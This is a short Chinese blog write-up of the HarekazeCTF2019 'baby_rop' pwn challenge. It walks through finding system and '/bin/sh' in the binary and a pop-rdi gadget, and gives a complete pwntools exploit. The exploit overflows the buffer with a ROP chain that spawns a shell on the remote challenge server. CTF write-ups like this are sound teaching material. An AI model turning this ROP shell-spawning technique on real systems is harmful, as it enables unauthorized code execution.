(HarekazeCTF2019)baby_rop(ret2text)


[HarekazeCTF2019]baby_rop(ret2text)

查看保护机制,开了NX,64位

IDA打开,F5查看main函数

看见system函数

然后F12+shift搜索字符串,还找到了’/bin/sh/‘

因为64位传参需要用到寄存器,所以用gadget找到rdi寄存器位置

exp

from pwn import *
context.log_level = "debug"

# io = process('./babyrop')
io = remote('node3.buuoj.cn','28379')
e = ELF('./babyrop')

binsh_addr = 0x601048
system_addr = e.symbols['system']
pop_rdi = 0x400683

io.recvuntil('your name?')
payload = 0x18 * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

这里夺权之后还有一个小坑,就是flag不在根目录下,需要通过查找获得位置,然后拿到flag


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录